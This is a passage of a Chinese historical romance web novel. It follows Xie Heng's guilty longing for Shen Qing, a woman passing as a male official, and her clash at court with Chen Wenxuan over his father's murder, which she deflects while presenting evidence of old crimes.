原本他坐着的位置上,现在坐着一个轻纱紫裙的曼妙女子,虽然有面纱遮面,可是从那双流转美目里,看得出她正在冲着他巧笑嫣然。 “谢珩,你怎么不过来?” 是沈青的声音,是沈青在宴厅上说话的那道声音。 轻软,甜腻。 他不敢相信,脚下却已经不受控制,短短几步,像是朝圣一般,他无比虔诚一步一步靠近过去。 少女仰头看他,一双精心修饰过的眉眼看得人心神一荡,眉心的花钿在灯台照映下娇艳妖娆。 她清澈干净的眸子里溢满笑意。 “我字认得不全,有两个字不会写,要请教公子。” “哪两个字?” “鸳鸯成双的鸳鸯怎么写呢?” “好,我教你写。” 她问一句,他脑海中什么也没想,就跟着脱口答一句,等她问完,他已经俯身循着她握笔的位置,轻轻握住了笔杆上方,带着她落笔纸上,一笔一划。 一副玲珑秀骨此时就在自己臂弯之内,他略一低头,鼻息间都是她乌发间干净的皂角香,轻纱掩映下,冰肌玉骨,若隐若现。 最后一笔,他再写不下去,笔尖一顿,一小团墨渍在原本写成的“鸳鸯”二字上晕开了花。 臂弯中的少女立刻抬眸看她,眸子里的笑意敛去,带上一点嗔怒,竟也看得人心神荡漾。 “谢珩,你怎么字都不好好写?” 谢珩垂下眸子,抬手覆上面纱,少女察觉到他的动作,眼神中有一点惊惶,却没有躲开,密密长睫无措地微微颤动。 他用力一拉,面纱委地,少女露出倾城容姿,是那张在心底描摹了无数次的五官眉眼。 他感受不到自己的呼吸,他耽溺于这样的美色,只一瞬间,被这摄人心魄的容颜折杀了一次又一次。 “沈青。”他失声呢喃这个名字。 “谢珩。” 少女盈盈回应他,细细怯怯,是他从未听过的万般柔情。 他双手轻捧起少女的面容,她白瓷如玉的肌肤上透出点点红霞,娇妍分明。他连心尖都在发颤,灼热的唇轻 轻点上她眉心的花钿,她微微合上的双目,她秀雅的鼻子,最后在她一点朱唇上无尽辗转。 心尖的颤抖蔓延到四肢百骸,便失了轻重。 怀里的人一声细微的嘤咛,让他短暂回过神来,他弯身将人稳稳抱起,置于宽大的桌案上。 “不行,水墨会弄脏了衣裳。”少女抬手抵住他肩头。 他眼中早已迷离,缓缓倾身:“正好给你作画。” 佳人一头青丝铺散于书案的白色宣纸上,青丝白纸,艳绝无双。 他低头细细轻吮,这一朵仙姝,今夜任他采撷。 宣纸上墨迹未干的鸳鸯二字,沾染上少女的雪肤玉肌,书案上的卷宗散落一地。 少女眸光似水,最终在他怀里化成了一汪水。 像是置身于波涛汹涌的大海里几番沉浮,几乎要溺毙的时候,他终于浮出水面。 他猛然睁开眼撑起身子坐起来,他依然置身于书房之中,昨夜的窗扇并没有被他关上,一夜春雨停息,清晨的微光透进窗户,细细微风还伴随着被春雨浸透一夜的落花暗香糜烂。 昨夜有些疲累,他在矮榻上囫囵睡了一夜。 发髻微微散乱,身上白衣,早就被涔涔汗水浸湿。 他僵硬地静坐了一会,一夜不曾好眠的俊容也略显苍白憔悴,空洞的眼神里没有太多情绪,好一会儿,他从袖中摸出一支女子的发簪。 发簪上是并蒂几朵浅绯娇媚的芙蓉,有的已经粲然绽放,有的还是含苞待放,是很精美,可惜做工材质太廉价了些。 他面无表情撩开衣袖,露出皓白如玉的手腕,目中一冷,用发簪狠狠在腕上划出一道口子,这样的疼痛,能让他更加清醒。 鲜血顺着玉腕蜿蜒而下,如雪中红梅,鲜艳夺目。 腕上同样的口子,这已经是第五道,有的伤口已经结痂,有的伤口正在淋漓流血。 今日是陈郡侯被杀的第五天。 那道轻紫色的曼妙身姿,没有哪一天不入梦,没有哪一次入梦,是可堪入眼的画面。 有时候是在卧室,有时候是在书房,最荒谬的一次,竟然是在后院里花团锦簇遮掩下的茵茵绿草丛中。 他不能理解,他怎么会有如此卑劣而龌龊的梦境,如果可以,他应该现在就一簪子刺死自己。 关于对沈青的情动,他早就不再欺骗自己,可是他也知道,心悦于一人,从来都只是发乎情,止乎礼。 即便是亲如夫妻,也该是三媒六聘拜堂行礼过后,才能入洞房行周公之礼。 否则的话,人与禽兽,有何分别? 禽兽。 他在心底冷笑了一声,重新将芙蓉发簪收进袖中,起身离榻。 半个时辰后,重新沐浴过后的谢珩,坐上马车,随着车头上悬挂的谢字徽记在空中摇摇晃晃,马车行驶到宽阔主路上。 第62章 第62章我这样的女子,岂不是万…… 谢府马车循循停在万德斋门口时,里头伙计正在打盹,这几天京中人心惶惶,处处门庭冷落,即便是万德斋。 直到白衣清越的公子弯身下了马车,其中一个伙计瞪大了眼,忙将身旁正打盹的伙计推醒,两三个伙计殷勤迎上去,有个机灵点的直接蹬蹬上楼去请掌柜了。 万德斋是洛京中最负盛名的首饰铺,天下万宝,尽于此斋,据说这间宝斋历经过三度改朝换代,历朝历代宫妃美人,世族贵女,无不以能有一套万德斋的首饰头面为傲。 谢家自然是万德斋的大户。 不过像谢氏这样人家,首饰器物,府上有专人负责采买,公子小姐们偶尔有兴致也会来逛一逛,但是谢珩会亲自迈进万德斋的大门,却是绝无仅有的。 掌柜很快下楼,楼下柜台宝库都没有停留,直接将贵客请上了三楼,万德斋设计最巧夺天工,做工最天衣无缝,当然也是最价值连城的宝物,都汇聚于此。 谢珩登上三楼阶梯,里面长廊开阔,别有洞天,长廊两边是一眼望不到尽头的货柜,用最上等的紫檀木精雕细琢,每一层铺上雪白柔软的江南云烟绸,甚至用来放置每一件器物的托盘,都是用白玉刻成。 满眼熠熠生辉,恍若置身璀璨龙宫。 整个三楼,看似只有他和掌柜两人,只是凭他所能察觉到的,至少有好几处暗卫,都是天下一等一的高手,还有未能察觉的,便不可知了。 他的首饰器物,向来是有专门匠人打造,不过现在来不及了,他马上就想要。 掌柜引他到右边的一排长长紫檀箱柜前,入目都是男子的配饰器物,多以金玉为主,各类玉簪金冠,琳琅满目。 谢珩脑海中浮现起沈青束发的模样,他是用什么束发?似乎一直以来,都是一根半新不旧的青色发带。 他模样俊俏出尘,清逸干净,镶以宝珠的金冠对他来说太厚重了,他又总是一袭青衣,还是该以青玉最宜相配。 “这个。”他抬手点了点手边一支通体淡翠剔透的玉簪。 “好,稍后给公子装盒。” 掌柜不动声色跟在谢珩身边,看他清浅目光中毫无波澜情绪,不过一扫眼,就将整个柜面上最稀有贵重的一件宝物选中。 见谢珩还在往前走,他不由得提醒道:“公子,那边都是女子的首饰头面了。” “我知道。” 谢珩脚下未停。 女子的首饰头面果然要丰富璀璨得多,他不由得缓缓顿住,目光尤为专注起来,细细打量着柜面里各类首饰,清淡眼神中隐隐有情愫暗涌。 万德斋这种专做贵人家生意的地方,关于王、谢二家两位公子小姐正相看之事,掌柜自然早就掌握了然,此时谢珩正站在一套鎏金点翠头面前,一身清矜雅淡也掩盖不住少年情动,原来是想替心仪之人选一件合适的礼物。 窈窕淑女,君子好逑,对于这样的佳话,掌柜最乐见其成,只是谢珩眼前正注视着的那套头面,虽说是铺中无价之宝也不为过,可是与那位秀雅雍容的王家小姐并不相衬。 “珩公子,不如您看看这套?” 谢珩循着他的指引看过去,是一套纯金镂花缕丝的头面,金丝细密,宝珠璀璨,可以想象佩戴之人是一朵何其富贵雍容的牡丹。 可惜,与沈青那样清绝的容颜不相称,反将人衬俗了。 还是先前那套鎏金点翠的头面更好,她最衬青色,这样妆点一身,娇俏生姿。 他又沿着长长柜面细看了一路,最后又入眼一套红玉金冠头面,红玉和黄金,本是极俗之物,可是万德斋中无论是红玉还是黄金,都雕琢锤炼得至纯澄澈,配以能工巧匠的绝妙技艺,大俗即大雅起来。 有了前面鎏金点翠那套衬托娇俏,这套红玉金冠可衬富雅。 他脑海中不由得浮现出昨夜梦中摘下面纱的少女,倾城绝世的容颜透出点点粉娇,一双美目含羞带怯地望着他,若配上这一套红玉金冠相称,娇妍婉转,该是何等让人心动神灭。 只是一想,心尖都要颤到不能自已。 “这一套,还有前面那套,我要了。”谢珩抬手点了那两件入眼的头面。 “好,我先给公子看全套成货。” 掌柜抬手,不知从哪里出来几个伙计,长廊尽头有一张通体羊脂白玉打造的长桌,两套头面分别被整整齐齐摆上玉桌。 除了两顶几乎可与凤冠比肩的头冠,其余大簪,小簪,发饰,耳饰,手镯……两套 头面,从长桌一头琳琅铺满直到另一头,共计一百余件,光是看一眼,都满目熠熠生辉。 “这两套今日便送去我府上,账房直接给你结账。” 仅仅一套,便是千金散尽,谢珩眼都不眨一下,两套头面首饰直接往谢府送去。 “好,我这就安排专门的马车替珩公子送回去。” 掌柜应下,直到送客下楼,清贵无双的公子重新上了马车,他还在恍然。 虽说珩公子今日挑的这两套头面首饰与王家那位大小姐通身气派并不相符,但是这片刻之内,为佳人豪掷数千金的气魄,这么多年他未见过第二个,足见他对这份姻缘的用心和诚意。 洛京之中,又要多一段传唱不绝的佳话了。 万德斋的车马当即将两套头面首饰还有玉簪都送到谢珩府上,谢珩正换好官服准备去衙署公干,陈令知的案子一日未破,他就没有一刻停歇。 鸣山领着万德斋的伙计在房门外等公子吩咐,谢珩换好官服后直接唤他们将装满两大紫檀木匣的首饰搬进房中。 鸣山依言将首饰搬放进去,他心中狐疑,公子平日从不让外人进房间:“公子,既然是这都是送给王家小姐的,为何不直接送王王府,何须这样大费周折搬来搬去?” 谢珩一时没想到跟王家小姐有什么关系:“我不是要送给王家的。” 又道:“对了,去让万德斋再给我打两件紫檀柜,正好靠在这面墙壁,好将这两套头面摆齐。” 鸣山正惊异于这两套头面不是送给王家小姐那是送给谁这个问题,听到公子吩咐,他扭头看了看公子所指的那面墙,正是对着公子床榻的一面书架,书架旁还有些许空余,正好可以放两件紫檀柜。 所以公子在百忙中,一大早沐浴出门,豪掷数千金买来这两套价值连城的头面首饰,是为了放在卧房里每天自己看? 这太诡异了。 他一定是听错了。 “听到了吗?”谢珩急着出门,最后整理官服前衣襟褶皱时,又问了一遍。 “是,公子,我这就去办。” 很快,谢门第一公子为了向王家大小姐表达倾慕之情,亲自在万德斋挑了两件价值连城的头面首饰以博佳人欢心,在洛京中也四下传开了。 终于给沉闷压抑了好几日的洛京城,带来一点桃红柳绿的缠绵轻快,人们总是爱听这样天作之合的佳话,几日下来,竟有隐隐压过陈郡侯之死的势头。 谁不艳羡王家小姐能有如此风华绝尘的公子为她倾心,觅得如此佳婿。 京中氛围轻快了不少,连带着本来萧条冷落了些的南风楼都重新热闹了起来,这两天沈青走到哪都在听着翩翩公子一掷千金的壮举,不由得咂了口酒,很是好奇问王容:“到底是个什么样的首饰头面?真能有这么贵?” “当然啊,那可是万德斋,宫中除了皇后娘娘和嫡公主,也就一位贵妃年轻恩宠正盛的时候有过一套,谢珩这是一口气买了两套!两套啊!” 王容一面感叹表哥果然还是有钱,一面也忍不住狐疑,难道谢珩这是转性了?那天在南风楼为爱自苦醉得不省人事来着,所以觉得跟沈青不可能,现在准备好好收心去娶妻生子了? 可是他也没听说王意然最近跟谢珩有往来啊,他那首饰头面也没送到王府来啊!? 正百思不得其解,沈青又打断他:“你见过万德斋的首饰吗?真这么好看?可以在洛京皇城脚下买一座大宅子的银子,就为了买几根簪子?” 闺中女子的头饰贵重精美的,她也不是没见过,但她真没见过这么贵的,一想到这么贵的首饰她这辈子都没看到过,刚刚喝下去的那口酒都有点发苦。 王容想了想:“我那意然姐姐自己就有一副,确实璀璨动人,别的首饰无法比……” 说到一半,他忽然见面前的人眉头皱了皱,艰难地咽下一口酒,仿佛他尽心寻来的美酒多难喝似的。 不过看她长睫微垂的模样,他也很识趣,没有多调侃她,自己也默默抿了口酒。 听他说起王意然在闺中便自己有一套这样价值连城的头面,现在又有门当户对的倾慕者连送两套,沈青也不得不承认,她那样乌亮如绸缎的头发,那样吹弹可破的肌肤,就该衬世上最华贵最精致的首饰。 她下意识叹了口气,抬手跟王容碰了个杯,怎么刚刚发苦的酒,现在发酸了? “话说……” 大概是在王容面前暴露了女儿身,不知不觉间她也习惯袒露心事:“你们洛京城的男人娶妻,都想娶意然姐姐这种,名门秀雅,端方贤德的女子吗?” 根据她的观察,洛京城的窈窕淑女们,如王意然,如岳瑛,无一不是这般女子,平心而论,她也很喜欢。 王容不动声色摇了摇折扇,想到她与谢珩之间门第之差,自然不想让她将来为此自苦,便坦然道:“确实如此,贤良淑德是娶妻的重要衡量标准。” 果然如此,沈青一张白皙俊俏的小脸可见地有一丝失落,不过转念一想,她忽然眸光一亮:“洛京城的淑女们个个贤良端方,那像我这种又好看又能打架还能杀人的,岂不是万里挑一?” 王容一口酒还没来得及吞下去,一下子被呛到,赶紧手忙脚乱用帕子捂唇轻咳,何止万里挑一,简直万万里挑一。 他艰难抬眸发现沈青并没有管他,她现在发现了一个很令自我陶醉的角度:“诶!真不知道以后到底谁能有这么天大的福气,才能跟我在一起。” 她的眼神很清亮,高兴便是纯粹的高兴,白皙面容上带了点微红酒意,明明就是一个天真散漫的可爱少女。 他心中不由得一动,随口一问:“你要不要考虑考虑我?” 如果表哥放弃了,那他这可不算夺人所爱。 “啊!?” “你刚不是在问谁有这天大的福气吗?我就问问我有没有?” 沈青严肃起来,认真盯着他:“你认真的?” “嗯。” 那双好看的桃花眼天生带着倜傥笑意,回望她的目光,沈青分不出他到底是开玩笑还是认真。 可是她有在好好考虑。 其实她很早就有注意这件事,王容出身名门世家,长相是非常难得地能入她眼的英俊,不仅吃喝玩乐两人能合拍,关键时候他也很靠谱,时不时还能走心为她排忧解难,甚至还愿意为她冒巨大风险,还有很重要的,他只是一个富贵闲散子弟,没有卷入朝中是是非非。 她要为孩子找一个父亲,王容是最契合的不二人选,无论从哪方面来说。 可是她一直没有在这件事情上往他身上践行。 直到他今日问出这句话。 不行,完全不行。 她喜欢王容这个人,也喜欢和他一起玩,也愿意和他交心,可是一想到要跟他一起生个孩子,这个想法只要在脑海里想一下,她浑身都别扭得发麻。 “诶,可惜了,你天大的福气在别人那里。” 她无不遗憾地告诉他。 王容毫无意外地挑挑眉:“行吧。” 他没再多说,笑意风流地跟沈青举杯相碰。 回去的时候,沈青谢绝了王容的马车,每当心绪烦乱,她一个人沿着街边人来人往慢慢走,不知不觉能理清很多头绪。 刚刚王容这样半真半假的一问,让她意识到一个被她忽视已久的严重问题,这几年来,她一直在给孩子父亲找一个合适人选,形形色色她遇到了很多人,也的确有非常契合的人选。 可是真正让她萌生出要跟这个人生个孩子的人,竟然只有谢珩。 当这个想法无比清晰呈现在脑海中时,她顿时吓得连脚下步伐都加快了,谢珩当然不可以。 况且他都要另娶她人了。 脚下走得越快,身边的人影和车马也迅速与她擦肩而过,她让脑子慢慢清醒下来,重新开始捋。 谢珩要娶王意然,意味着世家之间有多一道强劲不可分割的联姻,说明谢珩的态度和立场依然没有变,他要坚定捍卫世家门阀这道铜墙铁壁。 那为什么又要放走她,这么多天装模作样在满城缉凶呢? 总不可能说是为了以前相识一场的情分放她一马吧?他们之间有情分吗? 清瘦修长的青影一个人埋头走得飞快,一匹快马穿过人群,飞驰着从她身边掠过,忽然听见马背上有人长吁一声,马儿在她身前急急回转。 她看到萧瑞焦急的面孔 :“大哥,左思禄和沈哲都被陈文轩带人抓走了!” 第63章 第63章除非谢珩敢扒了她衣裳…… 沈青和萧瑞赶在陈文轩将人投入刑部大牢前,截停他们去路。 “我当是谁敢公然阻拦官府办案,原来是沈公子。沈公子,尊夫人可别来无恙?” 陈文轩一脸笑意儒雅,冤家路窄,仿佛也只是多日未见的好友寒暄。 “托阁下的福,我家兄嫂自是无恙安然。倒是令尊新丧,死于非命而停尸府中,尚还不可入土为安,我家兄嫂为此深感惋惜哀悼。今日又见陈公子还在为父缉凶,一片赤忱孝心,感人至深。” 不必沈青开口,萧瑞不甘示弱,也文绉绉给他回应过去。 陈文轩在嘴上没占到便宜,脸色微冷:“既然知道我在为父缉凶,你们还拦在这做什么?” 说着,他抬手招呼身后官差,示意将人赶走。 几个官差抽刀上前,沈青没有动,只是懒懒抱臂打量着眼前的人。 今日的陈文轩,紫袍金冠加身,不过腰间别了一根麻线,表示还在丧孝中。 陈令知一死,他便立刻承袭了父亲一品郡侯的爵位,以为父尽孝的名义将自己庶兄一家“送”出扫墓守灵。 又悲伤到几日水米不进也要坚持为父缉凶,一副不找到真凶为父报仇,便要以死明志的绝然态度,引得陛下和朝臣心中恻恻,一夜之间便擢升为刑部侍郎。 无论从哪方面来说,确实是个狠人。 沈青懒得跟他打哑谜,直接扬起下巴点了点他身后:“为什么抓他们?” 陈文轩身后押送着好几个人,甚至都是一身官服还没来得及脱,一看就是直接被人从衙署里押解过来的,其中就包括左思禄和沈哲。 陈文轩被这话问得好笑:“为什么?当然是他们与此案有嫌疑,带到刑部来好好审查一番,我们刑部查案,跟阁下似乎无关?” 沈青奇了:“陈公子,噢不,陈侍郎,新官上任果然雷厉风行,竟然能查出他们跟你父亲的案子有关联?” 她作为凶手本人可不知道。 “只是嫌疑,至于到底是不是同党共谋,得进了刑部才知道。不过沈公子你这么急着出现,倒是提醒我了,这里头好像有两个人,可是跟随你从渝州而来,如此紧密联系,确实让人怀疑,他们背后是不是受你指使。毕竟你可是与我父亲在朝堂上起过争执的人,也不是没有动机。” 沈青眉头挑了挑,唇边勾出一丝极为轻蔑挑衅的笑意:“那我可没指使。” 你爹可是我亲手宰的。 “若你没指使,何必狗急跳墙跑到我刑部来拦人?事关重大,沈公子想要洗脱嫌疑,就先跟我进一趟刑部。来人,给我将这两个疑犯拿下!” “谁敢动我。” 沈青徐徐出声,目光冷冷盯着陈文轩。 真进了刑部,黑的白的都是他说了算,不给她加数十桩诛九族的大罪这事绝对没完。 萧瑞也拔出腰间软剑拦在沈青身前:“我大哥是朝廷三品官员,即便你办案,也无权直接捉拿。” 陈文轩笑意从容,直接从腰间摸出一块铜褐色的令牌示令:“陛下特令,此案关系重大,凡是与此案有涉及人员,无论官阶品级,均可先斩后奏。你们抗旨不尊,就是大罪!” 萧瑞气急:“我看你这么急不可耐地攀咬,才是有大问题!” 陈文轩没再废口舌,直接抬手示意官差衙役们上前拿人。 那几个官差举刀冲上来的瞬间,沈青只觉得自己在洛京简直混得太差了,连这些人都敢对她动手了? 都是被谢珩的耳提面命给害的,这就是她太安分守己的下场。 她抬手按下萧瑞要出手的软剑,刚将两个举刀砍过来的官差横扫飞了出去,忽然眼前有一根银丝乍现。什么情况?她刚才脑海里就不该闪过一丝关于谢珩的任何念头。 她就着银丝的攻击退了两步,那根银丝也乍然回转,将举刀砍上来的两名官差隔档开。 混乱的场面霎时安静下来,所有人的目光都望向这猝不及防的到来者,红袍玉面,容色冷肃。 沈青心口突突猛跳了两下,第一反应便是谢珩终于要指认真凶当即将她捉拿了吗? 她眼神余光掠过四面,迅速在脑海中规划出一条带着萧瑞撤出的路线。 一道颀长身形映入眼帘,不远不近,正好站在她准备逃离的方位上。 “朝廷办案,还请无关之人屏退。”清疏冷淡的声音稳稳传到耳畔,温和而颇具震慑力。 沈青方才瞬间绷紧的身子渐渐放松下来。 又听谢珩继续道:“朝廷三司六部都在全力配合此案查办,若你担心有人不能秉公执法,自有御史台和其他部分监察督办,不必你费心。但若因你阻挠而贻误了案情,你担待不起。” 如果换做是从前,谢珩对她说这番话,她不知该何等怨怼愤恨。 现在她只觉得诡异。 凶手明明就站在他面前,难为他还如此清正严明睁眼说着瞎话。 自案发后,数日间,沈青与他再未见过。她也始终没有揣测出他真正的心思,唯一能确定的是,至少今日,他还不准备真正揭穿缉拿真凶。 她终于带着几分谨慎抬眸去看他神色,他甚至都没有多看她一眼,周身冷肃清淡,即便是偶尔看过来的眼神,也是平淡无波,与她目光对上便淡淡撇开。 浑然只是一个陌生的秉公执法者。 他的冷淡清疏在旁人眼中就是他的本性,只有沈青,即便隔着好几人的距离,能强烈感受到对方身上极具侵略的锐意,只针对她而来。 这是习武之人最原始的本能。 她脑海中迅速浮现出上一次见面,他将她抵在墙角,眼底情绪压抑不住。 今日情形,与当日分明两样,实则毫无区别。 她竟然有点脚底发虚。 她甚至可怕地想,所以谢珩现在到底有没有察觉出她的女儿身?不然她实在无法解释这其中的种种怪异。 可是即便是发现了,他的反应也不对劲。 她在脑海中千回百转,大概是受不了她过于直白的灼灼目光,谢珩眉头微蹙,似有不耐:“还不走么?” “好,告辞。” 沈青恍然,果断带着萧瑞撤,坚决不往身后多看一眼。 不管了,以后她就咬死了自己当日是男扮女装,除非谢珩敢扒了她衣裳,不然她打死不会承认的。 “谢大人,刚才他们两个扰乱办案现场,明明就是与这些嫌犯有勾结,说不定是背后指使,怎么就这样放人走了?”陈文轩颇有不甘。 沈青懒得理他,有谢珩在,她现在走,根本不会有人拦。 直到走远了,才隐约听到谢珩的声音:“先查手上的人,一步一步来。” 萧瑞频频回头看了几眼,确定已经彻底看不到人,才有些后怕长松了口气:“大哥,他们是不是真怀疑到你头上了?” 虽然他不知道凶手是谁,他们抓不抓得到,可是大哥买凶作案,是他亲口承认了的,竟然就真的怀疑到大哥身上了。 沈青冷笑一声:“他们倒不是真怀疑上我了,是胡乱攀咬,歪打正着碰上我了。何况,你没看出来吗,现在陈文轩根本就不是没有在找凶手。” 事情开始向一个意料之外但又情理之中的方向发展起来。 萧瑞被她这么一提点,立刻就想到了:“陈文轩打着查案缉凶的幌子,其实是在党同伐异,排除异己。更近一步说,是各大世家利用这桩凶案,对朝廷势力进行一番清洗整理!” 又是世家趁机揽权的一次大清理,不知该有多少没有背景家世的无辜官员百姓要遭殃。 沈青点点头:“左思禄和沈哲跟我是一路人,他们不好动我,但是一定会借这个机会将他们收拾了。暂时还没动到你身上,应该是晋王在暗中相护。” “那现在怎么办?左思禄和沈哲进了刑部的大牢,到了陈 文轩手中,恐怕不死也废了。” 沈青抿了抿唇,陷入沉思,今日谢珩几乎就是在堂而皇之向她表态,他确实是在包庇她。眼见沈哲和左思禄进了大牢,他那句“其他部门也会监察督办”,是在暗示她放心吗? 当然,她不能将这样人命关天的事放在这种虚无缥缈的猜测上,尤其还是一个是敌是友依然还不能完全下定论的人身上。 就算没有谢珩,她也不会给陈文轩太多时间。 不对,是陈文轩不会给自己太多时间。 她清绝眉眼间露出一点张扬笑意:“放心,他今日攀咬上我了,他一定不会放过这个可以将我置于死地的机会。” 何况不仅陈文轩,他背后的谢家也是看她很不顺眼,她只要回去坐等那灭顶之灾找上门就是。 两人并肩沿着长街走了一路,萧瑞手边还牵着他先前骑过来的那只白马,雨后一点点日影,将两个人一匹马的影子印在地上,模糊一团。 “大哥,我现在越来越明白了。”沉默一路的萧瑞忽然开口。 “明白什么了?” “我前几天去陈郡侯府的时候,就在想,我应该走得更高,让手上的力量更强,来保护身边所有人;今日好像又不一样了些,即便不是去保护我身边的人,从渝州到洛京,眼前所有的局面,都是应该去改变的局面,哪怕粉身碎骨。” 沈青侧过头,看见身边牵马的少年马尾高扬,意气风发,五官眉眼英俊逼人,越发褪去稚气,在禁军营队历练这些日子,连身姿都挺拔结实了很多,分明就是一个富有成熟男子气概的男子汉了。 见兄长在看他,少年干脆停下脚步,郑重地望向自己义兄:“大哥,这些天来,我遍搜成王殿下的生平事迹,我现在能够完全确定……” 他一字一顿道:“我的志向,与父亲的遗志,是一样的。” 沈青眼中豁然一热。 第64章 第64章所以他能为岳瑛成全到这…… 沈青说的那场“灭顶之灾”比想象中来得更早,刚刚过去一夜,次日晨间天色还将亮未亮,宫中就有特使匆匆来沈府宣了沈青进宫。 拖着还未睡醒的步伐,沈青朦朦着睡眼,前往她入京来的第二次早朝,迈进乾元正殿,就对上和她一样一双朦朦睡眼的孝武帝,还有左右肃立得如一桩桩雕像般的文武百官。 殿前直挺挺跪了一个人,沈青走上前去跟他在同一位置并肩跪下,向孝武帝行过礼,她才侧头掀起眼皮懒懒一瞧,果然是陈文轩。 显然已经是跪在御前声情并茂告完了一通御状。 她心底不由得嗤笑一声,可真是迫不及待。 “沈爱卿啊,朕今日宣你来是有几件事要问问你。”孝武帝的声音简直温和可亲。 沈青应下:“臣必定知无不言。” 这样大清早把这样俊秀的小爱卿喊过来质问一番,也实在太让人于心不忍,孝武帝自己问不出来,他指指陈文轩:“还是你来问吧。” 沈青便转过头去,一脸真诚等着陈文轩跟自己对峙。 “好,”陈文轩肃然开口:“当着陛下和文武百官的面,想必沈大人不敢妄言,我父亲无辜惨死,身为人子查案心切,言语有得罪之处,还望沈大人勿怪。” 沈青无语,当着陛下和文武百官的面,你惨死的父亲说的妄言最多,怎么她就不能说了? “要问快问,少废话。” “……敢问沈大人,是否承认与陈郡侯府积怨深厚?” “这不废话吗?洛京之中,我最讨厌你和你父亲。” “……那你是否承认,与我父亲还曾当堂发生过争执,最后以你败落被罚了俸禄告终?” “这件事在场的每双眼睛都看见了吧,还用来再问我一遍吗?说起这事我就生气。” “……好,左思禄和沈哲曾经是你在渝州的手下吧?” “没错。” “昨日我查到二人可能与我父亲一案有关,你急着阻挠我审问二人,我怀疑你与二人有所勾结,欲带你回去问话,却遭到你公然反抗,还打伤了两名官差,这件事情你应该不会否认吧?” 沈青都快要失去耐心:“不假,你说得一字不差,陈大人把我喊过来,就是问这些都众所周知的事情吗?” 得到这一系列肯定答案,陈文轩声音都硬朗了许多,向孝武帝请示:“陛下,方才臣之所问,都是沈青句句亲口作答。事实证明,沈青就是与我父亲积怨太深,多日来怀恨在心,此人匪气难除,不知结识多少三教九流人物,买凶杀人的动机最大。沈青昨日拒不配合,臣请陛下下旨,让沈青跟我回刑部配合调查。” “是否清白,一查便知。若是真凶,臣绝不姑息;若是无辜,臣也不敢徇私。” 孝武帝本来正凝神欣赏沈青这混不吝一一作答的模样,忽然听见话头被抛到自己身上,连忙坐直了身子:“这……沈爱卿,要不你就去一趟刑部?让刑部好好审查一番,不就正好可以彻底证明你的清白了吗?” 这陈文轩比他父亲俊朗许多,也是赏心悦目的存在,还是不能太偏袒薄待了。 沈青简直是要在心中拍案叫绝。 倒不是因为陈文轩一个一个看似众所周知,实际把自家摘干净只拖着她一步一步进圈套的问题。 而是因为,她还真就是凶手。 他们以为自己是在借机嫁祸排除异党,实际还真给他们歪打正着了,只不过他们自己不知道罢了。 看吧,就算她没杀人,也要被借机清除掉,幸好她还真杀了。 只要进了刑部大牢,是非黑白可都就由陈文轩说了算,昨天他开了这个口子却没将她带走,多少与谢珩出现那一下有关。 今日就迫不及待告到御前,这么急不可耐一定要借这次机会扳除她,那必定是背后又受人示意了。 她下意识看了一眼站在斜前方百官之首的谢道清,还有他身后那道颀长玉立的清越身姿。 看来谢家对谢珩也不是全然信任?或者说,谢家内部之间其实也并不统一? 沈青很是坦诚交待:“陛下,陈大人所有猜测都属实,我确实无时无刻都在想着要怎么置他们这对父子于死地。” 此言一出,不仅朝堂一片哗然,连陈文轩都震惊了:“你……你承认杀人了?” 他当然心知肚明,今日所有一切都不过是向沈青在泼脏水而已,但他没有理解沈青突然松口承认是什么意思? 难道真是他买凶杀人?就这么……承认了吗? 沈青扶额,翻了个白眼:“陈大人,我真是不知道你这个刑部侍郎是怎么混上去的,你这听风就是雨的能耐,得出多少冤假错案啊?我只承认了,我确实是有杀人的想法,我可没承认我就是杀人了啊,在座各位可听得清楚。” 真是承蒙陈郡侯当初赐教,她在朝堂上这睁眼说瞎话的本事还真是青出于蓝。 “你!”陈文轩怒不可遏:“家父已然不在人世,沈大人嘴上还要咄咄逼人!” 沈青没再理他,转而向孝武帝,正色道:“陛下,臣的确与陈郡侯家有难解的宿仇,而非一般的积怨。血海深仇,不共戴天,所以臣对陈郡侯怀有杀心一事并不作假。” 这下连孝武帝都听糊涂了,上一次沈青在这殿堂之上与陈郡侯的争执他还记得,不就是男男女女感情上那点事吗?听说沈夫人现在也没有大碍了,怎么还扯上血海深仇了? 陈文轩心道不好:“沈青,你最好不要血口喷人!” 沈青莫名其妙:“我都还没说什么,你怎么知道我要血口喷人了?陛下,陈文轩与臣妻岳瑛本是青梅竹马,指腹为婚。三年前,户部侍郎岳闻渊,也就是岳瑛的父亲,在陈郡侯的暗中操作构陷下,被判贪污之罪,岳家上下流放漳州,不幸死于流放途中。所幸岳瑛被臣救下,才侥幸免于一死,重归洛京。” 关于岳闻渊的案子,孝武帝还真没什么印象了,但是他 听沈青的话还算听得认真:“等我捋捋,所以你的意思是,你跟陈郡侯家的宿仇,是因为陈郡侯的构陷,导致你岳父一家家破人亡?” 他的目光在沈青和陈文轩的脸上来回逡巡一番,摸了摸自己下巴,竟有点对岳瑛生起了几分羡慕:“所以你们三……就是你们跟岳瑛,又是怎么回事?” “陛下!” “陛下!” 两人齐齐开口,孝武帝左右为难,最终还是带了几分偏爱,望向沈青那张俊白的容颜:“沈爱卿,还是你说吧。” “臣妻知家中遭难是被人陷害,回京后一心只想替父申冤,陈郡侯府发觉后,为免东窗事发,于是陈文轩利用旧情接近臣妻,好蓄意灭口。好在当日游湖之上,臣及时赶到,救下臣妻。” “那日在朝堂上与陈令知争执中并未提到此事,是因为臣空口白牙没有证据,可是臣不能眼睁睁见岳父一家满门蒙冤受难,而幕后始作俑者却满门荣华置身事外,这些日子臣的确无一日不想将当年始作俑者置于死地,为妻报此灭门之仇,于是日夜不休勘察此案,终于将陈令知当年是如何构陷岳闻渊一案来龙去脉全部查清,证据确凿,才敢呈上给陛下过目。” 沈青说得句句发自肺腑,真从怀中取出一本奏则,由内侍递给孝武帝:“陛下看过后,可派人核实臣所言非虚。若臣真的买凶杀人,未必买不到比那日宴席之上身手更厉害的高手,何须这般周折?可是臣既归于朝廷,只求用朝廷法度来将恶人绳之以法,为冤者昭雪。” 饶是陈文轩向来漫不经心的从容,此时整个人也一片愕然,做不出反应来。 本来是他先发制人,一步一步将沈青拖进来,没想到沈青做了完全的准备,在这里等着他! “沈青……当真是难为了你,不过是因为我和岳瑛的一段旧情,让你如此费尽周折伪造了这么些莫须有的东西来诬陷我和我父亲!”他脸色变得苍白,试图将此事继续往男女私情上带。 孝武帝此时根本没在听他说什么,沈青呈上来的那份厚厚奏折,他也不过略翻了两眼,但是他对沈青的怜爱之情再次到达一个无以复加的地步。 